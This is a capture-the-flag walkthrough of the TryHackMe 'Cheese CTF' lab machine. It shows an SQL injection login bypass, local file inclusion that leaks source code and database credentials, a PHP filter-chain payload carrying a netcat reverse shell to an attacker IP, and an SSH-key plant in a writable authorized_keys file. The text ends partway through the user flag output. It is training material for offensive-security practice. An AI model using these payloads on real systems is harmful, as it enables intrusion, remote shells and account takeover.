Post

TryHackMe: Cheese CTF Walkthrough

TryHackMe: Cheese CTF Walkthrough

TryHackMe | Cheese CTF Challenge icon

🧰 Writeup Overview

we bypassed the login page using an SQL injection and discovered an endpoint vulnerable to LFI. By chaining PHP filters, we turned the LFI into RCE and gained an initial foothold on the system. After that, we exploited a writable authorized_keys file to pivot to another user. As this new user, we fixed a syntax error in a timer and used sudo privileges to start it, which allowed us to create a SUID binary. Finally, by exploiting this binary, we escalated privileges to root.

Initial Enumeration

rustscan

Upon examining the ports All Ports Appear Open, it turned out to be a rabbit hole, or in other words, fake ports that may or may not have services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ rustscan -a 10.10.202.162 — range 1–65535  
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
Open  10.10.202.162
etc...

Spoofing ports with services or no can be a technique used to enhance security by confusing potential attackers. One popular tool for this is Portspoof. Also known as Emulating Services or Camouflage Techniques

https://www.darknet.org.uk/2018/04/portspoof-spoof-all-ports-open-emulate-valid-services/

trying a common ports & Discovering a website

By checking the common open ports it is clear that custom web application is running on port 80.

bypass a login page authentication using SQL injection

option |

1
sqlmap -r req.txt --dbs level-3 risk-3

The request from Burp Suite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /login.php HTTP/1.1

Host: 10.10.202.162

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Origin: http://10.10.202.162

Connection: keep-alive

Referer: http://10.10.202.162/login.php

Upgrade-Insecure-Requests: 1


username=ee&password=czcxzxcxz

We also found that the DBMS is MySQL.

option ||

After trying a couple of simple SQL injection payloads, we are able to bypass the login using the payload ' || 1=1;-- - as the username.

we can discover the /secret-script.php endpoint by fuzzing the web application for files, which reveals messages.html that links to it. Since there is no authentication mechanism, you can access it directly without logging in.

option |||

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ feroxbuster -u http://10.10.202.162/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt 
                                                                                                                                                                                                                                 
 ___  ___  __   __     __      __         __   ___
 |__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 |    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 by Ben "epi" Risher 🤓                 ver: 2.10.4
 ───────────────────────────┬──────────────────────
🎯  Target Url            │ http://10.10.202.162/
🚀  Threads               │ 50
📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
👌  Status Codes          │ All Status Codes!
💥  Timeout (secs)        │ 7
🦡  User-Agent            │ feroxbuster/2.10.4
💉  Config File           │ /etc/feroxbuster/ferox-config.toml
🔎  Extract Links         │ true
🏁  HTTP methods          │ [GET]
🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 ───────────────────────────┴──────────────────────
🏁  Press [ENTER] to use the Scan Management Menu™
 ──────────────────────────────────────────────────
 404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
 403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
 200      GET       57l       97w      705c http://10.10.202.162/style.css
 200      GET       22l      152w    11038c http://10.10.202.162/images/cheese3.jpg
 200      GET       28l       53w      834c http://10.10.202.162/login.php
 200      GET      101l      602w    47221c http://10.10.202.162/images/cheese1.jpg
 200      GET       60l      106w      966c http://10.10.202.162/login.css
 200      GET       59l      121w     1759c http://10.10.202.162/index.html
 200      GET       83l      491w    40571c http://10.10.202.162/images/cheese2.jpg
 200      GET       59l      121w     1759c http://10.10.202.162/
 200      GET       18l       35w      377c http://10.10.202.162/users.html
 200      GET       18l       35w      380c http://10.10.202.162/orders.html
 200      GET        0l        0w        0c http://10.10.202.162/secret-script.php
 200      GET       18l       33w      448c http://10.10.202.162/messages.html
 [**************] - 3m     17143/17143   0s      found:12      errors:0      
 [**************] - 3m     17130/17130   112/s   http://10.10.202.162/ 
 [**************] - 1s     17130/17130   13056/s http://10.10.202.162/images/ => Directory listing 

this will redirect us to http://10.10.202.162/secret-script.php?file=php://filter/resource=supersecretmessageforadmin

you can check into SecLists

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ grep -r "messages.html" /usr/share/seclists                                                                                                                                                                                 
/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt:messages.html
/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt:messages.html
/usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt:messages.html
/usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt:messages.html
/usr/share/seclists/Discovery/Web-Content/SVNDigger/all.txt:admin.messages.html.php
/usr/share/seclists/Discovery/Web-Content/SVNDigger/all.txt:toolbar.messages.html.php
/usr/share/seclists/Discovery/Web-Content/SVNDigger/all.txt:messages.html
/usr/share/seclists/Discovery/Web-Content/SVNDigger/cat/Language/html.txt:messages.html
/usr/share/seclists/Discovery/Web-Content/SVNDigger/cat/Language/php.txt:admin.messages.html.php
/usr/share/seclists/Discovery/Web-Content/SVNDigger/cat/Language/php.txt:toolbar.messages.html.php
/usr/share/seclists/Discovery/Web-Content/CMS/Django.txt:cms/tests/frontend/unit/fixtures/messages.html
/usr/share/seclists/Discovery/Web-Content/CMS/Django.txt:cms/tests/frontend/unit/html/modal_iframe_messages.html
/usr/share/seclists/Discovery/Web-Content/CMS/Django.txt:tests/auth_tests/templates/context_processors/auth_attrs_messages.html
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/modules/system/templates/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/modules/system/tests/themes/test_messages/templates/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/profiles/demo_umami/themes/umami/templates/components/messages/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/themes/bartik/templates/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/themes/claro/templates/misc/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/themes/classy/templates/misc/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/themes/classy/templates/system/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/themes/seven/templates/classy/misc/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/themes/stable9/templates/media-library/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/Drupal.txt:core/themes/stable/templates/misc/status-messages.html.twig
/usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/magento.txt:app/code/Magento/Ui/view/frontend/web/template/messages.html
/usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/magento.txt:app/code/Magento/MediaGalleryUi/view/adminhtml/web/template/grid/messages.html
etc...

Discovering LFI

will manipulation in file parameter.

1
2
3
http://10.10.202.162/secret-script.php?file=../../../etc/passwd
OR
http://10.10.202.162/secret-script.php?file=php://filter/resource=../../../etc/passwd

now we locate name user comte in this system.

1
view-source:http://10.10.202.162/secret-script.php?file=../../../etc/passwd

Then you can explore the rest of the files yourself.

1
http://10.10.202.162/secret-script.php?file=php://filter/resource=../../../etc/group

now check into here About searching for a filter.

we will use Wrapper php://filter as below:

1
curl -s http://10.10.202.162/secret-script.php?file=php://filter/convert.base64-encode/resource=login.php | base64 -d
1
http://10.10.202.162/secret-script.php?file=php://filter/convert.base64-encode/resource=login.php

output :

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TG9naW4gUGFnZTwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImxvZ2luLmNzcyI+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJsb2dpbi1jb250YWluZXIiPgogICAgICAgIDxoMT5Mb2dpbjwvaDE+CiAgICAgICAgCiAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJ1c2VybmFtZSI+VXNlcm5hbWU8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGlkPSJ1c2VybmFtZSIgbmFtZT0idXNlcm5hbWUiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJwYXNzd29yZCI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5Mb2dpbjwvYnV0dG9uPgogICAgICAgIDwvZm9ybT4KICAgICAgICAKICAgIDwvZGl2PgogICAgPD9waHAKLy8gUmVwbGFjZSB0aGVzZSB3aXRoIHlvdXIgZGF0YWJhc2UgY3JlZGVudGlhbHMKJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKJHVzZXIgPSAiY29tdGUiOwokcGFzc3dvcmQgPSAiVmVyeUNoZWVzeVBhc3N3b3JkIjsKJGRibmFtZSA9ICJ1c2VycyI7CgovLyBDcmVhdGUgYSBjb25uZWN0aW9uIHRvIHRoZSBkYXRhYmFzZQokY29ubiA9IG5ldyBteXNxbGkoJHNlcnZlcm5hbWUsICR1c2VyLCAkcGFzc3dvcmQsICRkYm5hbWUpOwoKLy8gQ2hlY2sgdGhlIGNvbm5lY3Rpb24KaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICBlY2hvICRjb25uLT5jb25uZWN0X2Vycm9yOwogICAgZGllKCJDb25uZWN0aW9uIGZhaWxlZDogIiAuICRjb25uLT5jb25uZWN0X2Vycm9yKTsKCn0KCi8vIEhhbmRsZSBmb3JtIHN1Ym1pc3Npb24KaWYgKCRfU0VSVkVSWyJSRVFVRVNUX01FVEhPRCJdID09ICJQT1NUIikgewogICAgJHVzZXJuYW1lID0gJF9QT1NUWyJ1c2VybmFtZSJdOwogICAgJHBhc3MgPSAkX1BPU1RbInBhc3N3b3JkIl07CiAgICBmdW5jdGlvbiBmaWx0ZXJPclZhcmlhdGlvbnMoJGlucHV0KSB7CiAgICAgLy9Vc2UgY2FzZS1pbnNlbnNpdGl2ZSByZWd1bGFyIGV4cHJlc3Npb24gdG8gZmlsdGVyICdPUicsICdvcicsICdPcicsIGFuZCAnb1InCiAgICAkZmlsdGVyZWQgPSBwcmVnX3JlcGxhY2UoJy9cYltvT11bclJdXGIvJywgJycsICRpbnB1dCk7CiAgICAKICAgIHJldHVybiAkZmlsdGVyZWQ7Cn0KICAgICRmaWx0ZXJlZElucHV0ID0gZmlsdGVyT3JWYXJpYXRpb25zKCR1c2VybmFtZSk7CiAgICAvL2VjaG8oJGZpbHRlcmVkSW5wdXQpOwogICAgLy8gSGFzaCB0aGUgcGFzc3dvcmQgKHlvdSBzaG91bGQgdXNlIGEgc3Ryb25nZXIgaGFzaGluZyBhbGdvcml0aG0pCiAgICAkaGFzaGVkX3Bhc3N3b3JkID0gbWQ1KCRwYXNzKTsKICAgIAogICAgCiAgICAvLyBRdWVyeSB0aGUgZGF0YWJhc2UgdG8gY2hlY2sgaWYgdGhlIHVzZXIgZXhpc3RzCiAgICAkc3FsID0gIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcm5hbWU9JyRmaWx0ZXJlZElucHV0JyBBTkQgcGFzc3dvcmQ9JyRoYXNoZWRfcGFzc3dvcmQnIjsKICAgICRyZXN1bHQgPSAkY29ubi0+cXVlcnkoJHNxbCk7CiAgICAkc3RhdHVzID0gIiI7CiAgICBpZiAoJHJlc3VsdC0+bnVtX3Jvd3MgPT0gMSkgewogICAgICAgIC8vIEF1dGhlbnRpY2F0aW9uIHN1Y2Nlc3NmdWwKICAgICAgICAkc3RhdHVzID0gIkxvZ2luIHN1Y2Nlc3NmdWwhIjsKICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogc2VjcmV0LXNjcmlwdC5waHA/ZmlsZT1zdXBlcnNlY3JldGFkbWlucGFuZWwuaHRtbCIpOwogICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICAvLyBBdXRoZW50aWNhdGlvbiBmYWlsZWQKICAgICAgICAgJHN0YXR1cyA9ICJMb2dpbiBmYWlsZWQuIFBsZWFzZSBjaGVjayB5b3VyIHVzZXJuYW1lIGFuZCBwYXNzd29yZC4iOwogICAgfQp9Ci8vIENsb3NlIHRoZSBkYXRhYmFzZSBjb25uZWN0aW9uCiRjb25uLT5jbG9zZSgpOwo/Pgo8ZGl2IGlkID0gInN0YXR1cyI+PD9waHAgZWNobyAkc3RhdHVzOyA/PjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<body>
    <div class="login-container">
        <h1>Login</h1>
        
        <form method="POST">
            <div class="form-group">
                <label for="username">Username</label>
                <input type="text" id="username" name="username" required>
            </div>
            <div class="form-group">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" required>
            </div>
            <button type="submit">Login</button>
        </form>
        
    </div>
    <?php
// Replace these with your database credentials
$servername = "localhost";
$user = "comte";
$password = "VeryCheesyPassword";
$dbname = "users";

// Create a connection to the database
$conn = new mysqli($servername, $user, $password, $dbname);

// Check the connection
if ($conn->connect_error) {
    echo $conn->connect_error;
    die("Connection failed: " . $conn->connect_error);

}

// Handle form submission
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST["username"];
    $pass = $_POST["password"];
    function filterOrVariations($input) {
     //Use case-insensitive regular expression to filter 'OR', 'or', 'Or', and 'oR'
    $filtered = preg_replace('/\b[oO][rR]\b/', '', $input);
    
    return $filtered;
}
    $filteredInput = filterOrVariations($username);
    //echo($filteredInput);
    // Hash the password (you should use a stronger hashing algorithm)
    $hashed_password = md5($pass);
    
    
    // Query the database to check if the user exists
    $sql = "SELECT * FROM users WHERE username='$filteredInput' AND password='$hashed_password'";
    $result = $conn->query($sql);
    $status = "";
    if ($result->num_rows == 1) {
        // Authentication successful
        $status = "Login successful!";
         header("Location: secret-script.php?file=supersecretadminpanel.html");
         exit;
    } else {
        // Authentication failed
         $status = "Login failed. Please check your username and password.";
    }
}
// Close the database connection
$conn->close();
?>
<div id = "status"><?php echo $status; ?></div>
</body>

Now, you can notice that the verification is not accepted in the word ‘OR’, ‘or’, ‘Or’, and ‘oR’ when input ' OR 1 -- - instead that we will use ' || 1 -- -

By examining the source code of secret-script.php, we see that it simply takes the file parameter and calls include with it.

1
curl -s http://10.10.202.162/secret-script.php?file=php://filter/convert.base64-encode/resource=secret-script.php | base64 -d
1
http://10.10.202.162/secret-script.php?file=php://filter/convert.base64-encode/resource=secret-script.php

output :

1
2
3
4
5
6
7
<?php
  //echo "Hello World";
  if(isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
  }
?>

RCE with PHP Filters Chain

now will be able to turn the php://filter into a full RCE in generally Convert LFI to RCE .

you can check here how this attack work.

Firstly, generate a payload using the php filter chain generator.py.

Another script you can generate your backdoor with https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

1
wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/refs/heads/main/php_filter_chain_generator.py
1
python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'

output => the payload

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

now we able to execute any command on the system.

1
python3 php_filter_chain_generator.py --chain '<?php print exec('hostname'); ?>

output :

1
cheesectf � P�������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@
1
python3 php_filter_chain_generator.py --chain '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.11.108.58 4444 >/tmp/f"); ?>' | grep '^php'  > payload.txt

must using grep '^php' in command to filter out and capture only lines in the output of php_filter_chain_generator.py that start with php.

then run a listner such netcat to capture the connection.

finnaly get shell as www-data by sending our payload as the file parameter.

1
curl -s "http://10.10.202.162/secret-script.php?file=$(cat payload.txt)"

Shell as www-data

1
2
3
4
5
6
7
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.108.58] from (UNKNOWN) [10.10.202.162] 48552
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python
1
python3 -c "import pty;pty.spawn('/bin/bash')"
1
2
www-data@cheesectf:/var/www/html$ export TERM=xterm-256color
export TERM=xterm-256color
1
2
3
4
5
6
7
www-data@cheesectf:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 4444

$ stty raw -echo; fg
[1]  + continued  nc -lvnp 4444
                               id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as comte

we can using linpeas simply

linpeas icon

when checking for files writable we will see as below.

1
find /  -type f -writable 2>/dev/null | grep -Ev '^(/proc|/snap|/sys|/dev)'

output

1
2
/home/comte/.ssh/authorized_keys
/etc/systemd/system/exploit.timer
  • -E: Enables extended regular expressions (regex), which allows for more complex matching patterns (such as alternations using pipe symbol).

  • -v: Inverts the match. Instead of showing lines that match the pattern, it shows lines that do not match.

  • '^(/proc|/snap|/sys|/dev)': A regex pattern that matches paths starting with /proc, /snap, /sys, or /dev. These directories are often system-related or virtual filesystems that should be excluded from the results (e.g., /proc contains virtual files related to processes, /sys deals with system devices, etc.).


now we need to generate an SSH key to add it into the authorized_keys file.

1
ssh-keygen -f cheese_rsa -t rsa
  • -f : file name
  • -t : type
1
cat cheese_rsa.pub

now upload cheese_rsa.pub into target machine

1
www-data@cheesectf:/var/www/html$ echo "ssh-rsa AAAAB3NzaC1y......" > /home/comte/.ssh/authorized_keys
1
ssh -i cheese_rsa comte@10.10.202.162
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
comte@cheesectf:~$ id 
uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)
comte@cheesectf:~$ head -c4250 user.txt 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
